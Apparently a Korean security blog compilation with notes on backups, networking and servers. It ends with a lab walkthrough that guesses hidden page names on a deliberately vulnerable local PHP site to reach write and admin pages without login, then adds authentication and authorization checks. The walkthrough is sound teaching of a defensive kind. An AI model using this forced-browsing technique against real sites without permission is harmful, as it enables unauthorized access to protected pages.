- 차등 백업(Differential Backup): 마지막 전체 백업 이후에 추가/변경된 데이터를 모두 포함하여 백업

- 증분 백업(Incremental Backup): 마지막 전체 백업 이후에 추가/변경된 데이터만 백업

- 전체 백업

- 차등 백업

- 증분 백업

스냅샷

- 스냅샷: Snapshot, 마치 사진 찍듯이 특정 시점에 스토리지의 파일 시스템을 포착해 보관하는 기술 = 특정 시점의 데이터 복사본

- Copy-on-write 스냅샷: 쓰기(Write) 작업 발생 시 스냅샷 공간으로 복제(Copy) 후 해당 복제본을 원본에 덮어씀

- 별도의 스냅샷 공간은 일반적으로 전체 스토리지 용량의 20% 이내로 할당

- 데이터가 변경될 때 한번 복제 후 데이터 쓰기 수행 → 읽기 x 1, 쓰기 x 2

- 스냅샷: Snapshot, 마치 사진 찍듯이 특정 시점에 스토리지의 파일 시스템을 포착해 보관하는 기술 = 특정 시점의 데이터 복사본

- Redirect-on-write 스냅샷: 쓰기(Write) 작업 발생 시 새로운 공간으로 쓰기 위치를 재지정(Redirect)

- 데이터 변경될 때 그곳에 바로 데이터 쓰기 수행 → 쓰기 x 1

- 스냅샷 = 원본 데이터, 원본 데이터 B를 얼림

- 스냅샷 = 원본 데이터, 원본 데이터 B는 냅두고 B1에 데이터 쓰기

- COW(Copy on write) 보다 ROW(Redirect on write)가 스토리지 성능이 좋다.

- 백업 하드웨어: 백업 및 복구를 위한 전용 스토리지

- 하드웨어 + 소프트웨어 동시 제공, 가격 비쌈, 성능 우수

- iPhone = 애플 하드웨어 + 애플 OS

- 백업 소프트웨어: 백업 및 복구를 위한 전용 소프트웨어

- 소프트웨어만 구매하여 기존에 가지고 있는 다른 회사의 하드웨어 활용 가능, 비용 절감

- 갤럭시 = 삼성 하드웨어 + 구글 안드로이드 OS

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

https://webcodur.tistory.com/23

https://shuu.tistory.com/48

네트워크의 정의 및 역할

Security Engineer — Sat, 26 Apr 2025 22:00:37 +0900

네트워크 개념

서버는 우리 몸의 눈,코,입,팔,다리 등 각각의 역할을 하는 기관으로 볼 수 있다.

네트워크는 여러 기관과 상호작용하기 위한 혈관으로 볼 수 있다.

- 네트워크(Network) : Net + Work, 그물을 짜는 행위 → 그물처럼 연결된 상태를 뜻함

- IT 네트워크의 시작: 1960년대, 미국에서 하나의 거대한 메인프레임의 성능을 다수의 사람이 동시에 활용할 수 있도록 하기 위해 여러 대의 단말기를 메인프레임과 전화선으로 연결함, 이것이 네트워크의 시작

- 단말기들을 메인 프레임(Main Frame)과 전화선으로 연결

- 메인 프레임의 성능을 단말기들이 나눠서 사용

- 1개 전화선으로 연결 시 동시에 사용 불가(예전에 전화와 컴퓨터 동시에 사용 불가한 원리와 동일)

- 각 단말기별로 전화선이 다른 경우 동시에 사용 가능

- 네트워크는 하나의 거대한 메인 프레임의 성능을 여러 대의 다른 단말기들이 나눠서 사용할 수 있게끔 하는 것

- ARPANET(Advanced Research Projects Agency Network)

- 미국 DARPA(Defense Advanced Research Projects Agency)에서 연구 목적으로 만든 네트워크로 패킷 교환 방식을 처음으로 사용한 네트워크이며, 현재 인터넷의 시초가 됨

※ DARPA: 미국 국방성 연구, 개발 부문을 담당한 방위 고등 연구 계획국

- APARNET: 패킷 교환 방식을 최초로 사용한 네트워크

- 회선 교환 방식(Circuit Exchange Method): 데이터를 교환하기 위해 1:1로 연결된 데이터 통로(회선)를 만들고 데이터 교환이 완료될 때까지 회선을 계속 사용하는 방식

- 데이터 전체를 한번에 전송하는 방식

- 패킷 교환 방식(Packet Exchange Method): 데이터를 패킷이라는 작은 단위로 나누고, 헤더라는 정보를 붙여 데이터를 교환하는 방식

- 헤더에는 송수신 포트번호, 패킷 순서 번호, 데이터 시작 위치, 한번에 전송할 수 있는 데이터의 양 등이 포함됨

- 패킷(Packet) = 소포라는 뜻, 패킷이라는 택배 물품에 헤더라는 송장을 붙여 보내는 개념

- 패킷 교환 방식(Packet Exchange Method): 필요한 만큼만 회선을 이용하며 같은 회선을 다른 사용자도 함께 사용할 수 있음, 패킷이 손상될 경우 데이터 전체를 다시 보내지 않고 손상된 패킷만 보내면 됨

네트워크 프로토콜과 계층

- 프로토콜(Protocol): 패킷을 전송하기 위한 규칙, 정해진 규칙을 따르기 때문에 통신이 가능해짐

- HTTP(HyperText Transfer Protocol): 웹 서버와 웹 브라우저가 패킷을 교환할 때 사용하는 프로토콜

- 이 외에도 DNS, FTP, SSL/TLS, TCP, UDP, SNMP, IEEE, ARP 등 매우 많은 프로토콜이 존재함

- 통신 프로토콜: 통신하기 위한 규칙

- 계층(Layer): 송신 기기와 수신 기기 사이에서 주고 받는 데이터는 각 계층 별로 처리됨

- 계층 별로 처리: 한 계층에서의 처리가 완료되면 임무를 다음 계층으로 전달

- 대표적인 2가지 계층: TCP/IP 참조 모델, OSI 참조 모델

- TCP/IP 참조 모델: 1970년대 미국 방위 고등 연구 계획국(DARPA)이 개발한 계층 구조 모델, 4개 계층으로 구성

※ TCP/IP 1계층은 링크 계층 or 네트워크 엑세스 계층으로 불린다.

- 업계에서 주로 사용하는 계층은 5계층 모델

- 계층 = Layer / 각 계층마다 L1, L2, L3, L4, L7으로 부름

- PDU: Protocol Data Unit, 네트워크 계층에서 처리하는 데이터 단위

- 데이터를 제어하기 위해 필요한 정보를 담은 헤더, 데이터 그 자체를 의미하는 페이로드(Payload)로 구분

- 각 계층 별로 PDU 명칭이 다름

- 4계층은 세그먼트(TCP), 데이터그램(UDP)로 구분됨

네트워크 기기

- 네트워크 기기: 계층 별로 존재하는 프로토콜에 따라 데이터를 전송하는 기기

- 각 계층 별로 동작하는 네트워크 기기가 다름

- L7 기기는 L1 ~ L7 전부 다 사용 가능하지만, 전체 계층에서 사용하기에는 부하가 발생하므로 L7 에서만 사용

- NIC(Network Interface Card): PC나 서버를 네트워크에 연결해주는 하드웨어 = 랜카드

- PC나 서버의 슬롯에 장착형, USB 포트형, 메인보드의 슬롯에 장착하거나 온보드로 부착된 형태가 있음

네트워크 기기 : L1

- 허브(Hub): 전달받은 패킷(비트)의 복사본을 포트에 연결된 다른 모든 기기로 전송, 브로드캐스팅과 비슷

- 연결된 기기들이 네트워크 대역폭(Bandwidth)을 나눠서 쓰기 때문에 데이터 전송 성능이 떨어짐

※ 대역폭: 네트워크 회선이 초당 처리할 수 있는 비트의 양, bps(bit per second)

- 대역폭이 100mbps인 회선으로 허브에 5대 PC를 연결하면 PC당 20mbps 대역폭만 사용

- AP(Access Point): 패킷을 전파로 바꿔서 송출하는 기기, 무선과 유선 사이의 다리 역할을 수행

- 무선 WiFi 네트워크 환경에 반드시 필요한 네트워크 기기

네트워크 기기 : L2

- MAC Address: Media Access Control Address, 컴퓨터들이 서로 데이터를 전송하기 위해 사용하는 물리적 주소로 NIC에 내장되어 있음. 그 기기만의 고유번호, 식별번호 등 기기를 구분하기 위한 주소로 사용됨

- MAC 주소: 랜카드에 저장되어 있는 고유의 식별번호(물리적 주소)

- 이더넷(Ethernet): 네트워크 환경에서 데이터를 주고 받기 위한 가장 대표적인 기술 규격, 1980년에 상용화됨

- UTP(Unshielded Twisted Pair) 케이블로 단말기와 네트워크 기기를 연결함 = 랜선

- UTP 케이블의 숫자가 커질수록 전송할 수 있는 데이터량이 많아짐

- L2 스위치(Switch): 단말기가 보낸 패킷(프레임)의 헤더에 있는 MAC Address를 보고 같은 네트워크의 다른 단말기로 패킷을 전송, 이더넷(Ethernet) 규격을 사용하기에 이더넷 스위치라고도 부름

- MAC Address Table: 포트번호와 MAC 주소를 저장한 테이블 = 컴퓨터의 MAC 주소가 등록되는 데이터베이스

네트워크 기기 : L3

- IP Address: Internet Protocol Address, 서로 다른 네트워크에 연결되어 있는 컴퓨터들이 데이터를 전송하기 위해 사용하는 논리적 주소로 OS상에서 설정한 주소임

- Public IP Address: 공인 IP 주소, 네트워크와 외부의 네트워크가 통신하기 위해 사용(아파트 이름)

- Private IP Address: 사설 IP 주소, 같은 네트워크 안에서 통신하기 위해 사용(아파트 동 호수)

- 라우터(Router): 단말기가 보낸 패킷(IP 패킷)의 헤더에 있는 IP Address를 보고 다른 네트워크의 다른 단말기로 패킷을 전송(라우팅)

- 라우팅 테이블(Routing Table): 네트워크상의 특정 목적지까지의 거리와 가는 방법등을 명시하고 있는 테이블

컴퓨터 네트워크에서 목적지 주소를 목적지에 도달하기 위한 네트워크 노선으로 변환시키는 목적으로 사용됨, 각 라우터의 라우팅 테이블은 모든 목적지 정보에 대해 해당 목적지에 도달하기 위해서 거쳐야 할 다음 라우터의 정보를 가지고 있음

- FPGA(Field Programmable Gate Array): 프로그래밍이 가능한 집적 회로 반도체, 용도에 따라 프로그래밍을 통해 기능을 변경할 수 있음 → 커스텀이 가능한 반도체

- 프로토타입 용도 혹은 AI, 암호화폐 채굴기, DAC(Digital-to-Analog Converter, 디지털 신호를 아날로그 신호로 변환시키는 장치), 데이터 센터 그래픽 가속기 등 시스템의 높은 처리 능력과 변화에 용이한 유연성이 요구되는 분야를 위해 소량 생산하는 반도체

- ASIC(Application-Specific Integrated Circuit): 특정 용도를 위해 설계된 주문형 집적회로 반도체

- 한번 용도에 맞게 제작하면 다시 기능을 프로그래밍하거나 수정할 수 없음

- 산업용 설비, 자동차 ECU(Electronic Control Unit), 의료장비, 비트코인 채굴기, 데이터 센터 TPU(TensorFlow Processor Unit), AMP(Amplifier)등 특정 목적을 위해 대량 생산하는 반도체

FPGA = 커스텀이 가능한 반도체

ASIC = 특정 용도에만 사용가능한 반도체

- L3 스위치(Switch): L2 스위치에 라우터 기능을 추가한 네트워크 기기, 다수의 포트가 있어 여러 단말기를 연결할 수 있으며 IP 패킷 라우팅도 가능

- MAC Address Table과 Routing Table을 조합한 정보를 FPGA, ASIC과 같은 패킷 전송 처리 전용 하드웨어에 기록한 다음 스위칭 혹은 라우팅 함

- 라우팅 테이블의 정보를 반도체에 전달하여 반도체에서 기록 후 라우팅 함 → 다른 네트워크로 데이터 전송 가능

- FPGA/ASIC 과 같은 반도체가 L3 스위치에 있어 데이터 처리 속도가 L2 스위치보다 훨씬 더 빠름, 고성능

네트워크 기기 : L4

- L4 스위치(Switch): IP주소와 포트 번호를 참조하여 트래픽을 분산해 서버로 전송하는 로드 밸런싱 기기

- 로드 밸런싱(Load Balancing): 들어오는 트래픽을 둘 이상의 서버로 분산해서 전송하여 부하를 분산하는 것

- 트래픽(Traffic): 서버와 네트워크 장치에서 일정 시간 내에 흐르는 데이터의 양

- 방화벽(Firewall): IP주소와 포트 번호를 참조하여 통신을 허가하거나 차단하는 기기

- 미리 정의된 보안 규칙에 따라 들어오고 나가는 트래픽을 제어할 수 있음

네트워크 기기 : L7

- L7 스위치(Switch): IP주소와 포트 번호 + 애플리케이션 콘텐츠 정보들을 참조해서 로드 밸런싱하는 기기

- 애플리케이션 콘텐츠 정보: URL, 파일명, 콘텐츠의 문자열 등

- L4 스위치 = IP + 포트번호 참조하여 부하 분산

- L7 스위치 = 애플리케이션 정보 참조하여 부하 분산

- 웹 방화벽(WAF: Web Application Firewall): 웹 애플리케이션 서버를 안전하게 보호하는 기기

- 클라이언트와 서버 사이에서 교환되는 데이터를 애플리케이션 레벨(7계층)에서 상세히 검사하고 조치함

- 블랙리스트, 화이트리스트, 웹 트래픽 분석 등 다양한 보안 기능 제공

- 블랙리스트: 리스트에 있는 IP는 제외하고 모든 통신 허용

- 화이트리스트: 리스트에 있는 IP만 통신 허용

- 웹 트래픽 분석: 사용자가 서버로 보내는 트래픽을 분석하여 정책에 따라 조치함

- XSS(Cross-Site Scripting): 애플리케이션에 악성 스크립트를 심어두고 사용자가 접속하면 공격해서 정보 갈취

- SQL Injection: 악성 SQL을 실행하여 데이터베이스 정보를 조작(데이터 수정 혹은 삭제)

네트워크 형태

- LAN(Local Area Network): 근거리 통신망, 가정이나 기업 내부 등 한정된 범위의 네트워크

- 한정된 범위 내 같은 네트워크 = L2 스위치 통신 = MAC 주소 사용하여 통신

- LAN(Local Area Network): 근거리 통신망, 가정이나 기업 내부 등 한정된 범위의 네트워크

- 클라이언트 기기와 L2 스위치로 구성

- WAN(Wide Area Network): 원거리 통신망, 물리적으로 거리가 매우 떨어진 곳의 네트워크를 연결

- 다른 네트워크와 통신 = L3 스위치 통신 = IP 주소 사용하여 통신

- 인터넷(Internet): 모든 컴퓨터를 하나의 통신망 안에 연결하고자 하는 International Network(다수의 WAN)

- 월드와이드웹(World Wide Web): 인터넷에 연결된 컴퓨터를 통해 사람들이 정보를 공유할 수 있는 공간

- WAN(Wide Area Network): 원거리 통신망, 물리적으로 거리가 매우 떨어진 곳의 네트워크를 연결

- LAN 환경에 L3 스위치를 추가해서 구성

- WAN 이 모여서 Internet 이 된다.

- VPN(Virtual Private Network): 인터넷 상에서 가상의 전용선을 만들어 통신할 수 있게 하는 기술

- 특정 네트워크들만을 위한 전용 WAN으로 Peer to Peer, 1:1로 연결하고 이 구간의 통신은 암호화함

- 기업 본사 LAN과 자사 LAN을 연결할 때 인터넷을 거치지 않고 이 두 네트워크만의 전용 WAN을 VPN으로 구성

- VPN을 사용하면 내 정보를 숨기고 특정 지역의 네트워크에 접속할 수 있음

- 네트워크 간에 전송되는 트래픽이 암호화되기 때문에 보안이 뛰어남

- VPN 사용 예시 #1: 터널베어라는 VPN을 사용해 한국에서 아르헨티나의 서비스에 접속 가능(TIDAL, NETFLIX 등)

- VPN 사용 예시 #2: 집 혹은 카페와 같은 외부에서 기업 내부의 애플리케이션(사내 그룹웨어)에 안전하게 접속 가능

- 카페에서 일반 인터넷 사용 시 기업 내부 애플리케이션 접근 불가

- DMZ(Demilitarized Zone): 비무장지대, 외부망(외부 네트워크)과 내부망(내부 네트워크)의 중간 지점

- 외부망에 있는 해커의 공격으로부터 기업의 중요한 서버와 클라이언트를 보호하기 위해 사용

- 외부에 서비스를 제공하면서 내부 네트워크를 보호하는 서브넷, 즉 외부에 오픈된 서버 영역

- DMZ 앞뒤로 방화벽이 설치됨(내부망/외부망)

- 내/외부 네트워크는 DMZ에 접속할 수 있지만, DMZ내의 컴퓨터는 오직 외부 네트워크에만 연결할 수 있다, 이는 DMZ 내의 호스트의 침입으로부터 내부 네트워크를 보호하기 위함이다.

- 내부망에서는 DMZ에 접근 가능하지만, DMZ에서는 내부망에 접근 불가

- 일반적인 LAN, WAN, DMZ 구성도

참고:

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

https://ee-22-joo.tistory.com/40

서버의 정의 및 역할

Security Engineer — Fri, 18 Apr 2025 22:00:23 +0900

서버와 클라이언트

- 서버: 클라이언트에게 네트워크를 통해 정보나 서비스를 제공하는 장치

- 클라이언트: 네트워크를 통하여 서버에 접속해 정보를 확인하거나 서비스를 이용하는 장치

클라이언트와 서버 둘 다 컴퓨터다.

서버의 역할 및 종류

- 웹 애플리케이션을 구성하는 서버의 종류

- 웹 서버: 정적 콘텐츠(HTML, CSS, 텍스트, 이미지 등)을 클라이언트에 전달

- 애플리케이션 서버: 동적 콘텐츠(DB와 연결되어 데이터 송수신, 프로그램으로 데이터 조작 등)을 클라이언트에 전달

- 데이터베이스(DB) 서버: 애플리케이션의 정보를 저장해서 운영, 관리할 수 있는 데이터베이스를 구동하는 서버

- 리버스 프록시 서버: 클라이언트와 서버가 서로 데이터를 주고받을 수 있도록 전달(로드밸런싱 역할 가능), 애플리케이션 서버가 여러 대 일때 부하분산(로드밸런싱) 가능

- 포워드 프록시(캐시) 서버: 미리 데이터를 저장해 뒀다가 요청이 오면 데이터 전달(클라이언트가 요청한 데이터가 캐시 서버에 존재하는 경우 바로 응답)

- 서버의 역할: 클라이언트의 요청을 수행하기 위해 다양한 서버들끼리 통신한 후 결과를 클라이언트에 전달

서버 하드웨어와 소프트웨어

- 서버 하드웨어 폼팩터: 랙마운트형 서버, 줄여서 랙(Rack)서버라고 부르는 랙에 밀어 넣는 형태의 서버

- 폼팩터: 서버 하드웨어의 형태

- 1U(Unit) 서버

- 2U(Unit) 서버, 가장 보편적

- 4U(Unit) 서버, 2U 서버랑 성능 차이는 거의 없지만 저장 공간이 더 크다. (페타바이트 단위)

- 서버 하드웨어 폼팩터: 블레이드(Blade)형 서버, 랙마운트형 서버를 더 얇게 만들고 케이스가 없는 형태의 서버

- 서버 하드웨어 폼팩터: 타워형 서버, 일반 데스크탑PC와 유사한 형태의 서버로 워크스테이션이라고도 부름

- 서버 하드웨어 유형: Main Frame, 1964년 IBM이 출시한 통계, 금융같은 분야에 사용되는 대형 서버

- 서버 하드웨어 유형: UNIX, Main Frame의 경량화 버전, 금융권 및 대기업에서 많이 사용하는 형태의 서버

- 서버 하드웨어 유형: x86, 중소기업부터 대기업까지 가장 많이 사용하는 서버 유형, 90% 점유율 차지(1U, 2U 서버)

- 서버 하드웨어 제조사: HPE, Dell Technologies, Inspur, Lenovo, IBM, Asus 등

- 서버 소프트웨어: 오픈소스 소프트웨어(무료) vs 상용 소프트웨어(유료)

윈도우, 포토샵, 오피스, 한컴 - 클라이언트 소프트웨어 중 상용 소프트웨어(유료)

오라클DB - 서버 소프트웨어 중 상용 소프트웨어(유료)

- 서버 소프트웨어: 서버 OS(Operating System) / z/OS (IBM 제작, Main Frame / UNIX용 OS)

- OS 역할: 하드웨어를 조작할 수 있도록 함

- 서버 소프트웨어: 서버 OS(Operating System) / UNIX (AIX, UX, SOLARIS - UNIX를 위한 OS)

- 서버 소프트웨어: 서버 OS(Operating System) / 오픈소스 Linux (x86에서 구동되는 OS)

- 내 마음대로 커스터마이징: 리눅스 배포판(Debian, Ubuntu, CentOS)

- 기업에서 많이 사용하는 OS: CentOS, RHEL 기능과 동일하지만 무료

- 서버 소프트웨어: 서버 OS(Operating System) / 상용 Linux,

- Red Hat Enterprise Linux: RHEL, 기업에서 가장 많이 사용하는 상용 리눅스 OS

- SUSE Linux

- 위 두개의 리눅스는 OS 자체는 무료이지만, 기술지원을 위해서는 비용을 지불해야한다.

- 서버 소프트웨어: 서버 OS(Operating System) / Microsoft Windows Server

- 일반 윈도우와 UI/UX는 동일하나 구동되는 소프트웨어가 다름

- x86서버 내 OS: 리눅스(오픈소스, 상용), 윈도우 서버(상용)

- 서버 소프트웨어: 서버 OS(Operating System) 점유율

- 리눅스 점유율이 높아지고 있음(무료이기 때문에)

- 서버 소프트웨어: 웹 서버(Apache, Nginx, IIS)

- 서버 OS(리눅스, 윈도우) 위에 아래 웹 서버를 설치하게되면 웹 서버의 역할이 가능한 서버가 된다.

- 무료: Apache, Nginx

- 유료: Windows 서버를 구매하면 Microsoft IIS 사용 가능

- 서버 소프트웨어: 기타(파일서버, 메일서버)

- FTP 서버: 파일을 송수신할 수 있도록 하는 서버

- 서버 OS 위에 파일 서버 소프트웨어 설치 시 파일을 주고 받을 수 있는 역할을 하는 서버가 된다.

- 메일 서버: 메일 송수신할 수 있도록 하는 서버(Microsoft Exchange), Outlook(메일 클라이언트)

참고:

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

URL 접근 제한 미흡 취약점

Security Engineer — Fri, 28 Feb 2025 22:00:35 +0900

1) URL 접근 제한 미흡 취약점이란 무엇인가?

URL 접근 제한 미흡 취약점(Failure to Restrict URL Access Vulnerability)

인증 또는 인가된 사용자가 접근이 가능한 페이지(관리자 페이지, 회원 전용 페이지)에 대해서 접근 제한이 존재하지 않거나, 접근 제한이 존재하지만 우회하여 접근할 수 있는 취약점

→ 관리자 페이지에 일반 사용자가 접근, 인증하지 않은 사용자가 접근하는 경우

실무에서 자주 발생하는 취약점

- SQL Injection, XSS, 파라미터 변조, URL 접근 제한 미흡 취약점

어플리케이션 기능 개발을 우선으로 하다보니 보안이 최우선이 아닌 경우 어쩔수 없이 취약점이 발생함.

2) 인증과 인가에 대한 이해

Authentication(인증) vs Authorization(인가)

인증

→ 로그인 유무 확인

인가

→ 권한 확인(관리자, 일반 회원)

인증: 로그인되지 않은 사용자가 회원 전용 페이지에 접근 불가

인가: 일반 회원이 관리자 페이지에 접근 불가

인증: 회사 내부로 들어가기 위해서 사원증이 필요

인가: 사장실, 전무실, 상무실 등 임원 사무실로 들어가기 위해서는 해당 임원의 사원증이 필요

3) 공격 원리

URL 접근 제한 미흡 취약점은 파라미터 변조 취약점과 유사하게 해킹인지 인식하지 못할정도로 간단하면서도 공격 페이로드가 명확하지 않다.

사용자는 admin 페이지에 권한이 있어 로그인 후 접근하지만, 공격자는 admin 페이지에 권한이 없지만 유추해서 접근한다. → 접근 시도 후 실제 접근 여부 확인

hxxp://www.victim.co.kr/admin

공격자는 어떤 페이지에 접속하는지 유추하여 접근한다.

수동적 유추 - admin, adm, manager 등 관리자명으로 사용하는 페이지 요청

자동화 유추 - 사전 대입(자주 사용하는 디렉터리명 또는 페이지명 요청)

네이밍 패턴 파악하기

게시판 목록이 다음과 같다면 → board List.do

게시판 작성은 이렇게 유추 가능 → board Write.do, board Create.do, board Insert.do

공지사항 게시글 번호 파라미터 유추→ board View.do?idx, board View.do?seq, board View.do?num, board View.do?no

실습10-1 URL 접근 제한 미흡 취약점 공격 실습

URL 접근 제한 미흡 취약점을 실습하기 위해서는 웹 사이트의 페이지명을 알아야한다.

관리자 계정으로 접속 후 메인페이지를 확인하면 우측에 Write 버튼이 확인된다.

로그아웃 후 확인해보면 우측에 Write 버튼은 존재하지 않는다.

로그인 창을 확인해보면 상단 URL에 page=login 이 확인된다.

회원가입 페이지는 상단 URL 에 page=join 으로 확인된다.

이를 통해 특정 기능을 하는 페이지는 page 라는 파라미터를 사용한다는 것을 알 수 있다.

여기서 게시글 작성 페이지를 유추해본다.

URL 에 page=insert 를 입력해본다.

정상적인 값이 아니라는 에러메시지가 발생한다.

URL 에 page=create 를 입력해본다.

정상적인 값이 아니라는 에러메시지가 발생한다.

URL 에 page=write 를 입력해본다.

다음과 같이 로그인하지 않아도 게시글 작성 페이지로 접속되었다.

게시글을 작성해본다.

게시글 작성 전 CSRF Token 검증 로직을 주석 처리한다.

< action.php 에 CSRF Token 검증 로직 주석 처리 >

	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	# CSRF Token 검증 로직
	/*
	$csrf_token_session = $_SESSION["csrf_token"];
	$csrf_token_param = $_REQUEST["csrf_token"];
	unset($_SESSION["csrf_token"]);

	if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}
	*/

page=write 에서 게시글을 작성한다.

다음과 같이 로그인을 하지 않고도 게시글 작성이 된 것을 확인할 수 있다.

회원 아이디가 없는 상태로 게시글이 작성된 것이다.

Form 페이지에 접근이 되는 것은 괜찮지만, Form 페이지에서 작성 시 실제로 게시글이 작성되는 것이 문제다.

( action 페이지에서 회원 유무에 대한 인증 검증 절차가 필요하다. )

또한 관리자만 접근이 가능했던 페이지들도 로그인을 하지 않은 상태로 접근이 가능하다.

http://192.168.56.1/insecure_website/index.php?page=pingcheck

http://192.168.56.1/insecure_website/index.php?page=xmlparser

로그인하지 않은 상태로 해당 페이지들에 접근해본다. ( pingcheck, xmlparser )

위와 같이 비회원인 상태로 관리자만 접근 가능한 페이지에 접근이 가능한 것을 확인할 수 있다. (인증 부분 취약)

test 라는 임의의 계정을 생성하고 해당 페이지들에 접근을 시도해본다.

다음과 같이 비회원과 동일하게 해당 페이지에 접근 가능한 것을 확인할 수 있다. (인가 부분 취약)

위 페이지들은 인증, 인가 둘다 취약하므로 해당 페이지들은 관리자만 아니면 아예 접근할 수 없도록 검증이 필요하다.

* 취약한 기능

- 게시글 작성

- pingcheck

- xmlparser

실제 취약점 진단 시 게시판을 많이 타겟으로 한다. (공지사항, 관리자 페이지 등)

공지사항은 인가 부분에 해당

→ 로그인 상태에서 관리자가 아니면 작성 버튼이 없다. - 관리자가 아닌데 공지사항을 작성 하는 부분을 노린다.

실무에서는 공지사항 진단 시 담당자와 협의하에 진행할 필요가 있다. (공지사항 작성 시 모바일로 전체 공지 알람이 발생할 수 있기 때문에)

웹 사이트마다 성격이 다르기 때문에 각각 상황에 따라 알맞게 취약점 진단이 필요

4) 대응 방안

URL 인증 및 인가가 필요한 페이지에 대해서 접근 제한에 대한 로직이 필요하다.

→ 회원 전용 페이지, 관리자 페이지

회원 전용 페이지

→ 비회원 접근 불가

관리자 페이지

→ 관리자 외 접근 불가

로그인 할 때 세션에 ID 값을 부여하게 되는데, 세션 ID 가 없으면 비회원이라는 의미이다.

세션 ID 를 받아서 빈 값이면 비정상으로 판단.

특정 페이지에 권한이 없으면 접근 불가하도록 소스코드 작성 (특정 권한이 여러 개 있는 경우)

→ 일반 사용자, 관리자

실습10-2 취약 환경 시큐어 코딩 적용 실습

action.php / pingcheck.php / xmlparser.php / write.php

* 취약한 기능

- 게시글 작성 (action.php, write.php) → 인증

- pingcheck (pingcheck.php) → 인증, 인가

- xmlparser (xmlparser.php) → 인증, 인가

게시글 작성 부분에 시큐어 코딩을 적용한다.

< action.php 에 인증 로직 및 CSRF Token 검증 로직 추가 >

	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	# 인증 기능
	if(empty($_SESSION["id"])) {
		echo "<script>alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';</script>";
		exit();
	}

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION["csrf_token"];
	$csrf_token_param = $_REQUEST["csrf_token"];
	unset($_SESSION["csrf_token"]);

	if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

보통 인증 기능은 각 페이지에 따로따로 넣는 것이 아니라, 공통된 페이지(common.php 등)에 한번에 적용하는 경우가 많다.

action 페이지에 권한이 없는 사용자가 접근하게 된다면 로그인 페이지로 리다이렉트되는 코드이다.

소스코드 적용 후 비회원으로 게시글 작성을 시도해본다.

게시글 작성 페이지에 접근하여 Write 를 클릭하여 게시글 작성을 시도하지만, 정상적인 접근이 아니라는 메시지와 함께 로그인 페이지로 리다이렉트 된다.

만약 비회원이 Write Page 에 접근을 못하게 조치하고 싶다면 write.php 에 인증 기능 로직을 추가해준다.

< write.php 에 인증 기능 추가 >

<?
	# 인증 기능
	if(empty($_SESSION["id"])) {
		echo "<script>alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';</script>";
		exit();
	}
?>
	<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">Write Page</h1>
      <hr>
    </div>
    
    <div class="container">
		<form action="action.php" method="POST" enctype="multipart/form-data">
		  <div class="form-group">
			<label>Title</label>
			<input type="text" class="form-control" name="title" placeholder="Title Input">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Password</label>
			<input type="password" class="form-control" name="password" placeholder="Password Input">
		  </div>
		  <div class="form-group">
			<label for="exampleInputPassword1">Contents</label>
			<textarea class="form-control" name="content" rows="5" placeholder="Contents Input"></textarea>
      </div>
      <div class="form-group">
        <label for="exampleInputPassword1">File</label>
        <input type="file" class="form-control" name="userfile">
		  </div>
      <div class="custom-control custom-checkbox">
        <input type="checkbox" class="custom-control-input" id="customCheck1" name="secret">
        <label class="custom-control-label" for="customCheck1">Secret Post</label>
      </div>
		<div class="text-right">
			<input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
			<input type="hidden" name="mode" value="write">
			<button type="submit" class="btn btn-outline-secondary">Write</button>
			<button type="button" class="btn btn-outline-danger" onclick="history.back(-1);">Back</button>
		</div>
		</form>
    </div>

소스코드 적용 후 비회원으로 게시글 작성 페이지에 접근 시 다음과 같이 접근이 불가한 것을 확인할 수 있다.

pingcheck 부분에는 인증 부분(회원 유무)도 중요하지만 인가 부분(관리자 여부)가 더 중요하다.

→ 관리자만 접근하는 페이지에 권한이 없는 사용자가 접근이 가능

현재 웹 사이트는 관리자 권한을 확인하는 방법은 id 뿐이다.

id 가 admin 인지 아닌지 검증하는 코드를 추가한다.

< pingcheck.php 에 인증 및 인가 검증 코드 추가 >

  include_once("./common.php");
  $ip = $_POST["ip"];
  $page = $_SERVER['REQUEST_URI'];


  if(empty($_SESSION["id"])) {
	echo "<script>alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';</script>";
	exit();
  } else {
		if($_SESSION["id"] != "admin") {
			echo "<script>alert('접근 권한이 없습니다.');history.back(-1);</script>";
			exit();
		}
  }

세션이 비어있는 경우(비회원)에는 로그인 페이지로 리다이렉트되며, 관리자가 아닌 경우에는 로직을 종료하는 코드이다.

중요한 것은 exit(); 를 꼭 사용해줘야 한다는 것이다. 간혹 exit(); 를 사용하지 않아 에러 메시지만 발생하고 로직이 여전히 진행되므로 exit(); 로 로직을 종료해줘야 한다. (실무에서 이런 경우가 다수 발생함)

→ 접근 제한 미흡

→ exit() 함수를 사용하지 않으면 웹 프록시 도구(버프스위트)로 우회가 가능하다.

